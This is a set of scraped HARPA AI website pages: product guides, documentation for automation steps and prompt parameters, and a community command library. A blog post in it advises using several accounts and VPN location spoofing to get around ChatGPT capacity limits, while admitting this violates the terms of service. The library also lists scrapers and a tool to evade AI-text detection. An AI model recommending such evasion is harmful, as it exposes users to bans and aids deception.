on any other browser page, and a new tab with an Automations Dashboard will open. ![](https://harpa.ai/img/guides/monitor-7.webp) 3. Simply click the HARPA AI icon in the browser and then click '**AUTOMATION**' to open the monitors list. You can filter monitors by website. You can navigate to the full-screen dashboard by clicking **DASHBOARD** button in the popup interface. ![](https://harpa.ai/img/guides/monitor-8.webp) By default monitors run in background once every 3 hours. You can configure how often they run directly from the dashboard. You may also notice a minimized browser window where HARPA AI runs your monitors and automations. If you open that window, you will see the pages HARPA AI is launching for monitoring purposes. [\#](https://harpa.ai/guides/monitor-price-drops#use-cases) Use Cases ---------------------------------------------------------------------- HARPA price monitors have a wide range of applications and are saving people time and money every day. * 🛍️ **Online Shopping**: If you are doing online shopping, you will love the Monitor feature. With HARPA AI you can create a dynamic list of products that will be tracked online, and receive price drop alerts when the prices update. * 💼 **Business Owners**: Business owners use HARPA Monitors to keep an eye on their competitors and get notified whenever competitor websites or pricing updates. * 🎁 **Gift Givers**: use the Monitor feature useful for keeping an eye on a particular product they want to buy. You can receive notifications as soon as the product goes on sale or becomes available again. * 🔍 **Deal Hunters**: Deal hunters use Monitoring feature to keep tabs on a variety of products and be informed of any changes. Prices and deals can be easily monitored across multiple websites, such as Amazon and Rakuten. You are not limited to monitoring prices with HARPA AI. Every piece of data on any website can be monitored. This includes time slot availabilities, legislations, official notices, business KPIs where API is not available, social statuses, brand mentions and updates. Experiment with web monitor to see what it can do for you today! [\#](https://harpa.ai/guides/monitor-price-drops#links-for-further-reading) Links for further reading ------------------------------------------------------------------------------------------------------ * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [ChatGPT Search Assistant](https://harpa.ai/blog/ai-answers-alongside-google-search) * [Quick Access Bar](https://harpa.ai/guides/quick-access-bar) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/automation-features) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/track-competitors) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | How to Fix ChatGPT is at Capacity [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/tool-02.svg) How to Fix ChatGPT is at Capacity ================================= OUTLINE NAVIGATE ![icon](https://harpa.ai/icon/lines/general/tool-02.svg) ChatGPT's immense popularity has led to capacity issues, with users frequently seeing the “ChatGPT is at capacity right now” error message. However, there are several effective techniques to gain reliable access even during peak usage hours. ![](https://harpa.ai/img/blog/blog19-1.webp) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#understanding-chatgpt's-capacity-limits) Understanding ChatGPT's Capacity Limits ---------------------------------------------------------------------------------------------------------------------------------------------------- As an AI system powered by OpenAI, ChatGPT has hard limits on how many simultaneous conversations it can handle. Surging demand since its launch has often pushed it past those thresholds, triggering the capacity warning. The limits relate to OpenAI's computing infrastructure and ability to field user requests without compromising response quality. More demand than ChatGPT is equipped to handle triggers protective safeguards. [Read more](https://www.awesomescreenshot.com/blog/knowledge/chatgpt-is-at-capacity-right-now) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#timing-your-chatgpt-usage-strategically) Timing Your ChatGPT Usage Strategically ---------------------------------------------------------------------------------------------------------------------------------------------------- Given capacity limits at peak times, strategic timing can improve your access. Try using ChatGPT during off-peak hours like early mornings, nights, and weekends. Most users are concentrated in the North American and European daytime hours. You can also avoid times when viral social media trends may spike questions and load. Paying attention to usage patterns and buzz can clue you into good timing. [Read more about usage limits](https://www.cyberghostvpn.com/en_US/privacyhub/chat-gpt-at-capacity/) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#using-multiple-accounts-for-more-access) Using Multiple Accounts for More Access ---------------------------------------------------------------------------------------------------------------------------------------------------- Having accounts across email addresses gives you multiple pathways for accessing ChatGPT even during peak loads. If one account hits the capacity limit, simply switch to an alternate account and continue your conversation. This multiplication works best with a handful of accounts to rotate through. Too many may draw scrutiny for abuse of OpenAI's systems. Moderation is key. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#trying-a-vpn-for-access-workaround) Trying a VPN for Access Workaround ------------------------------------------------------------------------------------------------------------------------------------------ [VPN services](https://www.expressvpn.com/blog/how-to-fix-chatgpt-is-at-capacity-error-with-a-vpn/) can provide location spoofing and IP masking to sometimes bypass capacity restrictions. By appearing to access from a different area, you may circumvent local overloads. Be aware VPN usage with ChatGPT is controversial, against terms of service, and may carry bans if detected. Proceed with caution. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#prioritizing-chatgpt-plus-for-reliable-capacity) Prioritizing ChatGPT Plus for Reliable Capacity -------------------------------------------------------------------------------------------------------------------------------------------------------------------- For unfettered ChatGPT access, upgrading to ChatGPT Plus is the ultimate solution. The $20 per month premium plan gives you priority access even during the highest demand loads. This should eliminate capacity issues. Plus also provides faster response times and priority assistance. For power users, the price is well worth the boost in reliability. ![](https://harpa.ai/img/blog/blog15-1.webp) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#staying-patient-and-trying-alternatives) Staying Patient and Trying Alternatives ---------------------------------------------------------------------------------------------------------------------------------------------------- When all else fails, staying patient with capacity errors can often resolve the issue in a short while as load balances out. Make use of the handy email notification option for when capacity frees up. You can also try alternative AI chat tools like Google's Gemini, Anthropic's Claude, and others to mix up your conversational AI sources. Spreading out demand helps the ecosystem. [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#chatgpt's-future-capacity-expansions) ChatGPT's Future Capacity Expansions ---------------------------------------------------------------------------------------------------------------------------------------------- As OpenAI gathers more funding and expands infrastructure, expect ChatGPT's capacity to grow over time. But demand may continue outpacing supply, meaning capacity planning remains essential. For now, well-timed access attempts, multiple accounts, VPN masking, premium upgrades, and AI chat alternatives together empower users to reliably use this transformative technology at its current phase of evolutionary growth. [More information](https://mashable.com/article/chatgpt-at-capacity-error-how-to-get-past-it) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#faqs-about-chatgpt-is-at-capacity-error) FAQs about ChatGPT is at capacity error ---------------------------------------------------------------------------------------------------------------------------------------------------- ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#what-causes-the-chatgpt-at-capacity-error?) What causes the ChatGPT at capacity error? The error occurs when user demand exceeds OpenAI's infrastructure capabilities. Too many simultaneous requests overload ChatGPT's systems, triggering protective safeguards. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#what-are-the-busiest-times-for-chatgpt-usage?) What are the busiest times for ChatGPT usage? Peak usage tends to align with daytime hours in North American and European timezones on weekdays. Late nights and weekends tend to be less busy. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#does-using-multiple-accounts-help-avoid-capacity-issues?) Does using multiple accounts help avoid capacity issues? Yes, having accounts across several emails provides multiple access points. If one hits capacity, switch to an alternate account. But don't create too many accounts as that can draw scrutiny. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#can-a-vpn-help-get-around-the-chatgpt-capacity-error?) Can a VPN help get around the ChatGPT capacity error? VPNs that spoof locations and IP addresses may sometimes bypass restrictions, but this violates Terms of Service and risks bans. Use VPN access cautiously. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#is-chatgpt-plus-the-best-way-to-avoid-capacity-problems?) Is ChatGPT Plus the best way to avoid capacity problems? For maximum reliability, the $20 per month ChatGPT Plus subscription provides priority access even during peak loads. This eliminates capacity issues for premium users. ### [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#what's-the-best-approach-when-chatgpt-is-at-capacity?) What's the best approach when ChatGPT is at capacity? Staying patient for a short while often resolves the issue as traffic balances. Making use of the email notification for when capacity frees up can also help. Trying alternative AI chat tools spreads out demand. [More info on WikiHow](https://www.wikihow.com/Chat-Gpt-Is-at-Capacity) [\#](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error#more-chatgpt-troubleshooting-guides) More ChatGPT Troubleshooting Guides -------------------------------------------------------------------------------------------------------------------------------------------- * [How to Fix ChatGPT Too Many Responses in 1 Hour](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) * [How to Fix ChatGPT is at Capacity Right Now](https://harpa.ai/blog/how-to-fix-chatgpt-is-at-capacity-error) * [How to Fix ChatGPT Internal Server Error](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) * [How to Fix ChatGPT Error 1020](https://harpa.ai/blog/how-to-fix-chatgpt-error-1020) * [How to Fix ChatGPT Plugins Not Showing Up](https://harpa.ai/blog/how-to-fix-chatgpt-plugins-not-showing-up) * [ChatGPT SMS verification](https://harpa.ai/blog/how-to-bypass-chatgpt-sms-verification) * [ClaudeAI SMS verification](https://harpa.ai/blog/how-to-bypass-claude-ai-sms-verification) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-too-many-requests-error) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/how-to-fix-chatgpt-internal-server-error) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Request Step [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Request Step ============ CONTENTS [\#](https://harpa.ai/chatml/steps-request#request) REQUEST ------------------------------------------------------------ REQUEST is a versatile step. You can use REQUEST to send data to a Webhook, call remote API or fetch a web page HTML content. REQUEST step performs an HTTP GET / POST request to the specified URL under the hood. You can see an example of using HARPA for parsing information in Google Sheets via MAKE.COM in [this guide](https://harpa.ai/guides/connecting-harpa-to-make-com) . ![](https://harpa.ai/img/chatml/request-1.webp) Typically it is used to send data to [Zapier](https://zapier.com/) or [Make.com](http://make.com/) to trigger an IFTTT chain, but it can also send data to Discord or Telegram bot, or your API system. You can use parameters such as **{{url}}** in URL, body and headers. Request response is stored in the **{{response}}** parameter. You can use [https://webhook.site](https://webhook.site/) to test what data HARPA sends to a webhook. You can also use SAY step and print out **{{response}}** parameter to check what data comes back as a response to your request. **ChatML declaration** - type: request url: https://webhook.site/df749f58-8df2-448b-b4cf-efaabcecc53c method: post headers: Authorization: Bearer token body: url: '{{url}}' data: '{{gpt}}' auth: enabled: true username: username password: password param: response [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/steps-click-paste-scroll) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/steps-extract) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Video Generation [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/media/video-recorder.svg) Video Generation ================ CONTENTS NAVIGATE [\#](https://harpa.ai/guides/video-generation#video-generation-in-harpa-ai) Video Generation in HARPA AI --------------------------------------------------------------------------------------------------------- The default HARPA AI CloudGPT connection comes with **built-in video generation**. You can generate videos from a text prompt or by providing a reference image along with a prompt — all directly in the chat. ### [\#](https://harpa.ai/guides/video-generation#how-to-use-video-generation) How to Use Video Generation 1. Make sure you have a HARPA AI CloudGPT connection selected. ![](https://harpa.ai/img/guides/ai-web-search-1.webp) 2. Ask the AI to generate a video, e.g. "Generate a video of a cat playing piano" or "Create a short clip of waves crashing on rocks." Or provide a reference image and describe what should happen in the video, e.g. "Animate this image — make the clouds move slowly across the sky." ![](https://harpa.ai/img/guides/video-generation-1.webp) ![icon](https://harpa.ai/icon/lines/media/video-recorder.svg) You can download the generated video using the player menu. ### [\#](https://harpa.ai/guides/video-generation#prompt-examples) Prompt Examples The AI understands detailed descriptions — experiment with camera movements, lighting, and styles: **From text prompt:** Cinematic drone shot slowly rising above a foggy mountain forest at sunrise, golden light rays piercing through the trees, smooth upward camera movement, 5 seconds Time-lapse of a flower blooming in a dark studio, single spotlight illuminating petals unfolding, shallow depth of field, macro lens perspective **From image + prompt:** Animate this scene — add gentle wind blowing through the grass, clouds drifting slowly in the background, birds flying across the sky Make the water in this photo come alive — add flowing ripples, subtle reflections shimmering, and leaves gently floating downstream **Stylized & artistic:** Ink wash painting coming to life — a dragon slowly unfurling from a scroll, traditional Chinese brush strokes animating fluidly, muted earth tones with red accents Retro VHS footage of a neon-lit city street at night, slight camera shake, analog scanlines and color bleeding, 80s synthwave atmosphere Feel free to mix and match these parameters to get the result you want. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/image-generation) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/guides/ai-vision-features) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Parameters [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/misc/chatml.svg) Parameters ========== CONTENTS [\#](https://harpa.ai/chatml/parameters#command-parameters) Command parameters ------------------------------------------------------------------------------- Whenever you send a question (prompt) in chat, HARPA injects parameters into the prompt text. For example, if you type **Please summarize this web page: {{page}}** in chat, HARPA will extract text from the web page and inject it into the GPT prompt. You can always test the parameter values by echoing them to AI chat. To echo a parameter value, type parameter name or a prompt including the parameter, and press Alt+Enter (or Alt+Click) in chat. ![](https://harpa.ai/img/chatml/parameters-3.webp) There are many predefined parameters you can use in your prompts: * _{{page}}_ - web page text content, starting from the top of the page. Long pages are truncated to fit into GPT input. Page parameter supports extra options: * _{{page url}}_ will retrieve the web page content from the specified URL. Work with the most websites except where retrieval is blocked, such as LinkedIn.com and X.com. Supports JavaScript. * _{{page query}}_ will scan the page content for text semantically similar to the given query and return that as a parameter value. This is helpful when page is too large to fit into GPT input. * _{{page limit=500}}_ specify a limit in tokens or percentage of the model context window, e.g. 10%. * _{{selection}}_ - selected text on the web page, if any. This is useful when you want to summarize a specific portion of the web page. * _{{title}}_ - web page title. * _{{desc}}_ - web page meta description. * _{{url}}_ - web page URL. * _{{domain}}_ - web page domain. * _{{language}}_ - language defined in the app settings, e.g. English; this is useful to instruct GPT to reply in a certain language across your commands. Most of the preconfigured commands use this parameter to tailor the response. * _{{transcript}}_ - YouTube video transcript, useful for summarizing and extracting information from YouTube videos * _{{transcriptPlain}}_ - YouTube video transcript, without timestamps. * _{{message x}}_ - previous chat message, where _x_ is a number, e.g. _{{message 0}}_ is the first message, _{{message 1}}_ is the second message, _{{message -1}}_ is the last message, etc. * _{{serp term}}_ - query web for the search term and find up to 10 top links. Supports search operators, e.g.: {{serp running weight loss site:ncbi.nlm.nih.gov}}. * _{{gpt}}_ - last GPT response, useful for chaining prompts. * _{{email}}_ - parses email content form Gmail, Outlook, Protonmail, and Fastmail. Works only on pages with an opened email. Parameter value is a JSON object with the following fields: user, sendTime, from, to, subject & content.You can see an example of the {{email}} parameter value in the screenshot above. * _{{thread}}_ - parses messages and comments from an opened post, topic or thread. Supports WhatsApp, Telegram, Discord, Reddit, Facebook, YouTube, X. Thread parameter supports extra options: * _{{thread limit=N}}_ specify the number of messages to extract, e.g. _{{thread limit=50}}_. Default is 100. * _{{thread exists}}_ checks if the current page supports thread extraction. Returns "yes" if supported. * _{{view}}_ - include screenshot of the opened page. Only works for AI connections that support Vision capabilities. * _{{cost}}_ - cost of all of the GPT requests in the current chat in AI tokens. _{{cost last}}_ will return the cost of the last GPT request. * _{{grab}}_ - allows you to extract a value of an HTML element from a web page, whether it's an h1, body, or href. Here are some examples: * **{{grab}}** extracts website body text. * **CSS**: {{grab h1}} * **XPath**: {{grab //h1}} * **Text**: {{grab Bring AI to your browser}} * **Take innerText**: {{grab h1 take=innerText}} * **Take textContent**: {{grab h1 take=textContent}} * **Take id**: {{grab h1 take=id}} * **Take className**: {{grab h1 take=className}} * **Take class**: {{grab h1 take=class}} * **Take nodeName**: {{grab h1 take=nodeName}} * **Take nodeType**: {{grab h1 take=nodeType}} * **Take attributes**: {{grab h1 take=attributes}} * **Take \[attribute\]**: {{grab h1 take=\[class\]}} * **Take styles**: {{grab h1 take=styles}} * **Take (style)**: {{grab h1 take=(color)}} * **Take innerHTML**: {{grab h1 take=innerHTML}} * **Take outerHTML**: {{grab h1 take=outerHTML}} * **Take href**: {{grab a take=href}} * **Take value**: {{grab input take=value}} * **At first**: {{grab a take=href at=first}} * **At last**: {{grab a take=href at=last}} * **At 0**: {{grab a take=href at=0}} * **At 1**: {{grab a take=href at=1}} * **At all**: {{grab h2 at=all}} In our parameter phrasing, "take" means specifying an argument's value. For example, by searching for the keyword "YouTube video summary", you can extract the text value of the entire element by setting the innerText argument value: {{grab YouTube video transcript take=innerText}} ![](https://harpa.ai/img/chatml/parameters-4.webp) Here are two more examples: in the first one, we search for the word "GPT" and get the text value of the first element in order, and in the second one, we ask for all elements and receive an array. ![](https://harpa.ai/img/chatml/parameters-5.webp) **You can create and use custom parameters in commands, such as:** * _{{p1}}_, _{{name}}_, _{{param}}_... - these parameters let you customize your command every time it is run. You can use automatically assigned names (p1, p2, etc.) or choose custom ones. You can create custom parameters using **CALC Set Parameter** function. Inspect parameter values using SAY step, entering parameter in the text field, such as _{{p1}}_. Parameters are interpolated both in the chat window as well as custom commands, e.g. in GPT, SAY and CALC steps. They may serve as the default value in the ASK step when the user provides no input and simply presses Enter. ![](https://harpa.ai/img/chatml/parameters-2.webp) You can also create and reuse parameters across multiple commands using _g._ prefix. See [Global parameters](https://harpa.ai/chatml/parameters#global-parameters) section for more details. ### [\#](https://harpa.ai/chatml/parameters#global-parameters) Global parameters Parameters, e.g. _{{p1}}_, are retained for the duration of the single command. If you prefix parameter name with _g._, like this _{{g.p1}}_, parameter becomes a global one. Global parameters are available across multiple commands, enabling the orchestration of complex command chains. Such chains can undertake tasks like gathering data from an open webpage into a list and subsequently triggering another command for data processing or Zapier integration. You can use ASK step or CALC Set Parameter step to establish a global parameter. For example, you can prompt yourself to input a global parameter such as _{{g.email}}_, which could then be used in chat or commands at any time. ![](https://harpa.ai/img/chatml/parameters-1.webp) In this example, the SAY step is optional, but you can include it to verify that the parameter has been set. A working example of a Global Parameter is the _/set-reply-tone_ command. It saves your writing tone into _{{g.tone}}_, allowing you to rewrite any text in your unique style. ### [\#](https://harpa.ai/chatml/parameters#dot-notation) Dot Notation Dot notation is used in HARPA to access nested data structures, for example: * _{{users.0.name.toUpperCase}}_ will get the first element of a _users_ list parameter, access its name property and convert it to uppercase. * _0_ is the index of the first element in the list. You can use negative indices to access elements from the end of the list, e.g. _\-1_ is the last element, _\-2_ is the second last element, etc. * _toUpperCase_ is a JavaScript function, and you can use any JavaScript function without arguments in dot notation, e.g. trim, toUpperCase, toLowerCase, etc. ### [\#](https://harpa.ai/chatml/parameters#interpolation) Interpolation Whenever HARPA encounters a parameter in commands or user input, it will be replaced with the parameter value. For example _{{domain}}_ becomes _harpa.ai_ This process is called **interpolation**. You can avoid interpolation by adding a backslash before the parameter name, e.g. _{{\\p1}}_. HARPA will replace the _{{\\p1}}_ with literal _{{p1}}_ string. ### [\#](https://harpa.ai/chatml/parameters#page-context) Page context GPT input has a token limit, e.g. 4096 on GPT-3.5-turbo model, which is approximately 3000 words of English text. This limit is shared across chat history, question and response. Large web pages may not fit into the GPT input, so HARPA truncates _{{page}}_ parameter automatically. You can specify a keyword or query within the {{page}} parameter to extract portion of the page relevant to that keyword. For example: {{page Adobe Photoshop}} will instruct HARPA to scan the web page content for content semantically similar to "Adobe Photoshop" and return that as a parameter value. [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/chatml/importing-custom-commands) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/chatml/automation-steps) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Automation Library [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER [Go back](https://harpa.ai/library) Community Commands [💡\ \ Pareto Principle (80/20 rule) Summarizer\ \ A versatile prompt that applies the 80/20 rule to extract essential knowledge from any text or topic, providing structured learning guidance.\ \ Prompt Garden\ \ 374\ \ 21](https://harpa.ai/library/pareto-principle-(80%2F20-rule)-summarizer/672e3fa62a8a03fd59c551b4) [🧩\ \ Twitter Thread Extraction\ \ Extracts the original Tweet and all replies from Twitter posts. Use this command on a single Tweet page. #extraction\ \ Adrian Larsson\ \ 217\ \ 11](https://harpa.ai/library/twitter-thread-extraction/6728a3fe22b006c16f7f7580) [👩‍⚕️\ \ AI Psychotherapist v 1.4\ \ AI Psychotherapist utilizing various methods. Conversations are stored confidentially. You can pause and resume your session at any time.\ \ Synaptic\ \ 204\ \ 5](https://harpa.ai/library/ai-psychotherapist-v-14/674495359bcfff35d140ff73) [📦\ \ LinkedIn Group Members Export\ \ Exports up to 2,000 members from any LinkedIn group you belong to. To begin, open any LinkedIn group, join it and navigate to the members list page. #make #grid #linkedin\ \ Mei-Ling Zhang\ \ 202\ \ 14](https://harpa.ai/library/linked-in-group-members-export/6770460ce1e198d456caaec1) [🧬\ \ Instagram Data Extraction v1\ \ Extracts Instagram follower and following profiles, saving it as JSON with names and profile links. #instagram #json\ \ Bohdan Kovtunenko\ \ 201\ \ 7](https://harpa.ai/library/instagram-data-extraction-v1/672b93f030c666cf8e87b16f) [😄\ \ Roast my Profile\ \ AI's non-expert review of your social media. A soulless machine bluntly shares its thoughts about you. Requires AI Vision.\ \ Synaptic\ \ 200\ \ 10](https://harpa.ai/library/roast-my-profile/672e3d392a8a03fd59c51b72) [✍️\ \ Proofreader & Editor\ \ Writes a quick summary of what is your text about, then everything that was 'wrong' with your draft, and then gives a revised version.\ \ Charlotte Edwards\ \ 196\ \ 12](https://harpa.ai/library/proofreader-%26-editor/675b349177626e6e0b4660de) [📚\ \ Lecture Note Style Summary v2\ \ Convenient note generator for different lecture formats (Text or YouTube videos), formats formulas and code well.\ \ Sophie Dubois\ \ 195\ \ 8](https://harpa.ai/library/lecture-note-style-summary-v2/672e3c5f2a8a03fd59c507d5) [✳️\ \ EEAT WebPage Analysis v3\ \ Run this command to analyze webpage content according to Google's EEAT guidelines and get detailed scoring with improvement recommendations. #SEO #EEAT #GOOGLE\ \ Adrian Larsson\ \ 194\ \ 13](https://harpa.ai/library/eeat-web-page-analysis-v3/672e45282a8a03fd59c5cd54) [❤️\ \ Instagram Like Machine v2.1\ \ Automatic like machine that LOOPs over lists of #hashtags or @usernames. Command saves already processed photos and settings, making runs more effective. #instagram\ \ Bohdan Kovtunenko\ \ 189\ \ 17](https://harpa.ai/library/instagram-like-machine-v21/672b8c6b30c666cf8e86f89b) [📚\ \ YouTube Language Studying v1.1\ \ Helps learn any language by watching videos in that language. extracts key phrases and translates them into your selected language.\ \ Visioncraft\ \ 186\ \ 11](https://harpa.ai/library/you-tube-language-studying-v11/6751bff804c311a2fbd7661d) [💼\ \ LinkedIn Profile Scraper\ \ Scrapes all the available data from LinkedIn profiles, including contacts, education, experience etc.\ \ Priya Patel\ \ 177\ \ 9](https://harpa.ai/library/linked-in-profile-scraper/67658ecadd321dd19e95ef17) [🤖\ \ SEO Agent v1.1\ \ Generates SEO-optimized blog content from provided texts, keywords, topics, URLs, or YouTube videos.\ \ Promptly\ \ 173\ \ 10](https://harpa.ai/library/seo-agent-v11/672e016e30c666cf8eb20ff3) [🎬\ \ Movie Finder Expert v1\ \ Find any movie or TV show by describing its plot or your preferences, and get comprehensive recommendations with ratings and similar content matches.\ \ Sophie Dubois\ \ 166\ \ 7](https://harpa.ai/library/movie-finder-expert-v1/6731d84999f6d93688c2b209) [🤖\ \ Humanizer: Anti AI Detection Tool v3\ \ Rewrites given AI text into a more human version to pass AI content detection.\ \ Brainforge\ \ 157\ \ 14](https://harpa.ai/library/humanizer%3A-anti-ai-detection-tool-v3/675af31a77626e6e0b40d277) [🧩\ \ YouTube Comments Extraction\ \ Extracts comments from YouTube video page. You can specify how many comments you need. #extraction\ \ Adrian Larsson\ \ 155\ \ 9](https://harpa.ai/library/you-tube-comments-extraction/6728a3fe22b006c16f7f757e) [💥\ \ Comprehensive Content Strategy\ \ Drafts a content strategy for your new business, product, book or just about anything. Helps streamline the creation, organization, and distribution of relevant content, complete with a step-by-step workflow to ensure consistency, clarity, and measurable results\ \ Synaptic\ \ 153\ \ 6](https://harpa.ai/library/comprehensive-content-strategy/675bff4b77626e6e0b51b1ae) [🍽\ \ Simplify & Cook: YouTube Video Recipes\ \ Converts YouTube cooking videos into easy-to-follow recipes with a clear ingredient list.\ \ Prompt Garden\ \ 142\ \ 11](https://harpa.ai/library/simplify-%26-cook%3A-you-tube-video-recipes/675ad17277626e6e0b3e1cd5) [🧩\ \ Reddit Thread Extraction\ \ Extracts key info from Reddit posts and comments while preserving thread structure. Use this command on a Reddit thread page. 